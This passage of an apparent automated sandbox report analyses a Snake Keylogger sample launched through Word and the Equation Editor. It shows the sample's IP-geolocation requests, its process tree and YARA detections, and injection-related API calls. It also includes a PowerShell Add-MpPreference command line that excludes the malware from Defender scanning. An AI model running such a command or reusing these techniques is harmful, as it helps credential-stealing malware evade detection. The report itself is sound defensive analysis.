2024-07-01 18:06:23 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-01 18:06:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49176	188.114.96.3	443	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:24 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-01 18:06:24 UTC	706	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 13145 Last-Modified: Mon, 01 Jul 2024 14:27:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yu4Epu9XjvlWjBXA66tQ7pBVUXtdRyca4Ee%2FSZOx29WkFNuLSnkQrWydE6b6Zi6IrdygPUyKBKO85yn6MRefZbljyYBmrNCYhUnPWBvghnE0%2BynVX%2FVdMdj7FWmyxO26dN6FeEIh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c8546b78f44238-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 18:06:24 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-01 18:06:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49178	188.114.96.3	443	3244	C:\Users\user\AppData\Roaming\obie8920193.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 18:06:25 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-01 18:06:25 UTC	710	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 18:06:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 13146 Last-Modified: Mon, 01 Jul 2024 14:27:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t9Ud279Pe9%2FoUu3%2BPZKcTcpfWTjG4UubZXYj%2BEv3EmlKSUmph6fwo1v1vGxYyTbPpFjV2bM8B3V%2Fs65VvrtsFoKZldOLgkf7bNleD8NK5Q4iMBWwfA0%2BLuJNEbIwxT2oZaJJ7tPZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c85472f8d042ea-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 18:06:25 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-01 18:06:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:06:03
Start date:	01/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f7e0000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:06:04
Start date:	01/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:06:08
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Roaming\obie8920193.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\obie8920193.exe"
Imagebase:	0x290000
File size:	554'504 bytes
MD5 hash:	DBDACF479A9DD40133701E06E6DC401C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:06:11
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe"
Imagebase:	0x90000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:06:11
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Roaming\obie8920193.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\obie8920193.exe"
Imagebase:	0x290000
File size:	554'504 bytes
MD5 hash:	DBDACF479A9DD40133701E06E6DC401C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.864677424.00000000023DC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.864677424.0000000002231000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:06:26
Start date:	01/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.8%
Total number of Nodes:	105
Total number of Limit Nodes:	5

Executed Functions

Function 002605E0 Relevance: 43.2, Strings: 33, Instructions: 1984
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00262FAC
., xrefs: 002630DE
&, xrefs: 00261A3A
&, xrefs: 0026251C
u, xrefs: 00261974
9, xrefs: 00262A3B
7, xrefs: 00261B5E
&, xrefs: 00262640
g, xrefs: 00262C72
u, xrefs: 0026269E
, xrefs: 00263156
9, xrefs: 002622A8
k, xrefs: 002623E7
-, xrefs: 00261C6C
u, xrefs: 00261A98
, xrefs: 00262E8A
9, xrefs: 00261EF1
g, xrefs: 00262DDF
7, xrefs: 0026176B
7, xrefs: 002623F1
, xrefs: 00262AA8
>, xrefs: 0026232B
&, xrefs: 0026186F
>, xrefs: 0026257A
-, xrefs: 0026298D
&, xrefs: 00262B60
>, xrefs: 002616C6
>, xrefs: 002617CA
Ppp, xrefs: 002618C6
, xrefs: 00262FB6
k, xrefs: 00261764
u, xrefs: 0026245C
7, xrefs: 00262764

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID: $ $ $ $ $&$&$&$&$&$-$-$.$7$7$7$7$9$9$9$>$>$>$>$Ppp$g$g$k$k$u$u$u$u
API String ID: 0-4064997190
Opcode ID: 2c615f5d9b5d5762a1b4a472ceab911ee81f75e3ccab40274bf050c6662c7895
Instruction ID: 2a2a6b26b475e230072c97b39945885c25527d143c2be7ddbed3a634736f67c1
Opcode Fuzzy Hash: 2c615f5d9b5d5762a1b4a472ceab911ee81f75e3ccab40274bf050c6662c7895
Instruction Fuzzy Hash: 17231A30910715CFC725EF74C894B9AB7B2BF89300F508A99E4496B261EF75AAC5CF81

Function 002612C9 Relevance: 43.2, Strings: 33, Instructions: 1973
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00262FAC
., xrefs: 002630DE
&, xrefs: 00261A3A
&, xrefs: 0026251C
u, xrefs: 00261974
9, xrefs: 00262A3B
7, xrefs: 00261B5E
&, xrefs: 00262640
g, xrefs: 00262C72
u, xrefs: 0026269E
, xrefs: 00263156
9, xrefs: 002622A8
k, xrefs: 002623E7
-, xrefs: 00261C6C
u, xrefs: 00261A98
, xrefs: 00262E8A
9, xrefs: 00261EF1
g, xrefs: 00262DDF
7, xrefs: 0026176B
7, xrefs: 002623F1
, xrefs: 00262AA8
>, xrefs: 0026232B
&, xrefs: 0026186F
>, xrefs: 0026257A
-, xrefs: 0026298D
&, xrefs: 00262B60
>, xrefs: 002616C6
>, xrefs: 002617CA
Ppp, xrefs: 002618C6
, xrefs: 00262FB6
k, xrefs: 00261764
u, xrefs: 0026245C
7, xrefs: 00262764

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID:
String ID: $ $ $ $ $&$&$&$&$&$-$-$.$7$7$7$7$9$9$9$>$>$>$>$Ppp$g$g$k$k$u$u$u$u
API String ID: 0-4064997190
Opcode ID: 51ffc13ccb4bfda8632de17c8e4f419bd6cd4593fca335ae5da53539d86d774f
Instruction ID: 99522a37e565e80389fbf93d04935dd071ec3095b17738584726094b37bbe24c
Opcode Fuzzy Hash: 51ffc13ccb4bfda8632de17c8e4f419bd6cd4593fca335ae5da53539d86d774f
Instruction Fuzzy Hash: EF231A30910715CFC725EF74C894B9AB7B2BF89300F518A99E4496B261EF71AAC5CF81

Function 001C1C58 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.365120465.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1c0000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b231d53405fc83612c0a7b6ac1136a959e08bcdccdf038692457a94e839a78c
Instruction ID: e6838f736a032b3bc0a1a8805572a5e0dc5e0084ec57b42b8d397b5a344bd1b6
Opcode Fuzzy Hash: 3b231d53405fc83612c0a7b6ac1136a959e08bcdccdf038692457a94e839a78c
Instruction Fuzzy Hash: 21814A71D45219DFDB28CF66CC40BE9BBB6BF9A300F10D1AAC409A7251EB704A85DF40

Function 001C04F4 Relevance: 1.8, APIs: 1, Instructions: 327
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 001C07C7

Memory Dump Source

Source File: 00000005.00000002.365120465.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1c0000_obie8920193.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 32cab24dd05fd1c841a5deb3322599031f91c8c022f7ec9d282b58446d1af6ed
Instruction ID: 17dcc16ac7fee2c73d15ae0175ee7644dae039c6c2bced44599934abd65067cd
Opcode Fuzzy Hash: 32cab24dd05fd1c841a5deb3322599031f91c8c022f7ec9d282b58446d1af6ed
Instruction Fuzzy Hash: A4C11470D00229CFDF25CFA8C845BEEBBB1BB59304F0091AAD859B7250DB749A85CF95

Function 001C0500 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 001C07C7

Memory Dump Source

Source File: 00000005.00000002.365120465.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1c0000_obie8920193.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c8dbf6ffe13bbdc0dacd612bbd2db95b25bd076917136edcce2c2f35d84c1ef3
Instruction ID: 35c4d5b7c9ccd7b6bdb34a2e8d3eaeea234548fd3365a0f79d1014ea97f67d8c
Opcode Fuzzy Hash: c8dbf6ffe13bbdc0dacd612bbd2db95b25bd076917136edcce2c2f35d84c1ef3
Instruction Fuzzy Hash: 4BC11370D00229CFDF25CFA8C845BEEBBB1BB59304F0091AAD859B7250DB749A85CF95

Function 001C0161 Relevance: 1.6, APIs: 1, Instructions: 121
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001C023B

Memory Dump Source

Source File: 00000005.00000002.365120465.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1c0000_obie8920193.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 722d9a38417bd55498a7281ff92069f68c74673477581d162a75692a9599536d
Instruction ID: 90c55dff357a995acdfe47b3c8a2b95acf45cea53721087f22aea55c2bc9df96
Opcode Fuzzy Hash: 722d9a38417bd55498a7281ff92069f68c74673477581d162a75692a9599536d
Instruction Fuzzy Hash: C641B9B4D002489FCF00CFA9D984AEEFBF1BB49314F24902AE815B7210D374AA45CF64

Function 001C0168 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001C023B

Memory Dump Source

Source File: 00000005.00000002.365120465.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1c0000_obie8920193.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 94049cba4c606da5408133a8e604b5c3acdf938b770655c00d1b4e6ac34880ee
Instruction ID: aa486f201061d2590966999898e466adafa2bda616706b72236340e7518de87c
Opcode Fuzzy Hash: 94049cba4c606da5408133a8e604b5c3acdf938b770655c00d1b4e6ac34880ee
Instruction Fuzzy Hash: 1D41A8B4D002489FCF00CFA9D984AEEFBF1BB49314F24942AE818B7210D774AA45CF64

Function 001C02C8 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001C037A

Memory Dump Source

Source File: 00000005.00000002.365120465.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1c0000_obie8920193.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3fe4b22dcffe02a0be885190d970154e81aef55cb5b5065d615e46fa3707ea54
Instruction ID: a04c151eb17faaa2fe44ac1922afef2345c55578f3bb4713e6ef34b030b97042
Opcode Fuzzy Hash: 3fe4b22dcffe02a0be885190d970154e81aef55cb5b5065d615e46fa3707ea54
Instruction Fuzzy Hash: E84199B9D00258DFCF10CFA9D984AEEFBB1BB49314F10A42AE814B7210D775A945CF65

Function 001C0040 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 001C00EA

Memory Dump Source

Source File: 00000005.00000002.365120465.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1c0000_obie8920193.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a01961f35b2d7153d566bc7372eb05c44d86ba693e7ede67617e0188f722178c
Instruction ID: 51588ec949cb69af5eb6651e3d1d7d6afa2e048f95e00112098001ea89cc5148
Opcode Fuzzy Hash: a01961f35b2d7153d566bc7372eb05c44d86ba693e7ede67617e0188f722178c
Instruction Fuzzy Hash: 864199B8D002589FCF10CFA9D984AAEFBB1AB49314F10942AE814B7210D775A945CF65

Function 0026FEA0 Relevance: 1.6, APIs: 1, Instructions: 99
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0026FF57

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0bf2e92cfda671630c93c95e71e350e02c4b03f84fa525d44749e30be47217c7
Instruction ID: d122896ff4f5e1244f73a6e7b2a4a507f65a20d320b210847e33c2362c1527bc
Opcode Fuzzy Hash: 0bf2e92cfda671630c93c95e71e350e02c4b03f84fa525d44749e30be47217c7
Instruction Fuzzy Hash: C341CCB5D002589FCF10CFA9D984AEEFBF1AF49314F24802AE418B7240C778A989CF54

Function 0026FEA8 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0026FF57

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 3665481f2801d3b5d6d46bedfb1d337230e4d75a585f8961a4d10f3bf8152e09
Instruction ID: f4f682b88a4673236428bc602b28f91f3b206cac2fdd48300f9a45463b111a44
Opcode Fuzzy Hash: 3665481f2801d3b5d6d46bedfb1d337230e4d75a585f8961a4d10f3bf8152e09
Instruction Fuzzy Hash: 4E41AEB4D102589FCF10CFA9D984AEEFBB1AF49314F24802AE418B7244D778A985CF54

Function 0026F978 Relevance: 1.6, APIs: 1, Instructions: 77
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0026F9FE

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 649225765207556f227940e6ff008a6c18a384d029324b6f2ab72e6cf5c67c07
Instruction ID: a80fcfd69d489384e03a2ce52d28ea7786817a8daf1c372eb7e366059cea2854
Opcode Fuzzy Hash: 649225765207556f227940e6ff008a6c18a384d029324b6f2ab72e6cf5c67c07
Instruction Fuzzy Hash: 9231CDB4D102589FCF10CFA9E984AEEFBB1AF49314F24942AE819B7300C775A945CF94

Function 0026F980 Relevance: 1.6, APIs: 1, Instructions: 75
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0026F9FE

Memory Dump Source

Source File: 00000005.00000002.365154139.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_obie8920193.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0ca5930d45403d40330c38cacb09b917e5f7ae476f5379f98c638a2ddbcec42d
Instruction ID: 17d3ecef504b8b382b49d34e81444ae042ae126db5f58b6016a643d68fe27b7a
Opcode Fuzzy Hash: 0ca5930d45403d40330c38cacb09b917e5f7ae476f5379f98c638a2ddbcec42d
Instruction Fuzzy Hash: FD31CDB4D102589FCF10CFA9E984AEEFBB5AF49314F14942AE819B7300C775A945CF94

Function 0012D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.364316500.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12d000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6664dfc41c9e6fca376a9eb9678d0b60404b8d75aa725186d94f7c5a5c9a2f81
Instruction ID: d479a9d812b95eba47cb5b774547ecdfd088709ee232529fe61fa43ef20b8241
Opcode Fuzzy Hash: 6664dfc41c9e6fca376a9eb9678d0b60404b8d75aa725186d94f7c5a5c9a2f81
Instruction Fuzzy Hash: 6F2104B1604240EFDB15CF14F9C0B26BBA5FB84314F34C5ADE8494B246C336D866CB61

Function 0012D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.364316500.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12d000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6142920924f2450e835391fa6948f434b5160f13a3f4a6577285532b28b25ae
Instruction ID: df4b092c05ec048f0677460fb9249acd6b4442e4a14bf5aa15fdfa5b793664ba
Opcode Fuzzy Hash: a6142920924f2450e835391fa6948f434b5160f13a3f4a6577285532b28b25ae
Instruction Fuzzy Hash: C221D075604240EFDB15CF14F884B26BB61EB84314F34C5A9E8494B266C736D857CBA5

Function 0012D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.364316500.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12d000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4334226fc26c75ff5f4929e58fe71be2c6ef150af434025ed9b75f939bc560c
Instruction ID: 36c00038482e56a82454aa88e7d3d25f0ccc442ad35623984ca1075d80f8db53
Opcode Fuzzy Hash: b4334226fc26c75ff5f4929e58fe71be2c6ef150af434025ed9b75f939bc560c
Instruction Fuzzy Hash: E42130755083809FDB12CF24E994715BF71EF46314F28C5EAD8498F267C33A985ACB62

Function 0012D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.364316500.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12d000_obie8920193.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: 72543b5870835b0820fb36b4c2fe8b74d50bb0709eb72f3117824000088e2165
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 76119D75904280DFDB16CF14E5C4B15FFA1FB84314F28C6ADD8494B656C33AD85ACBA2

Non-executed Functions

Function 0026E370 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

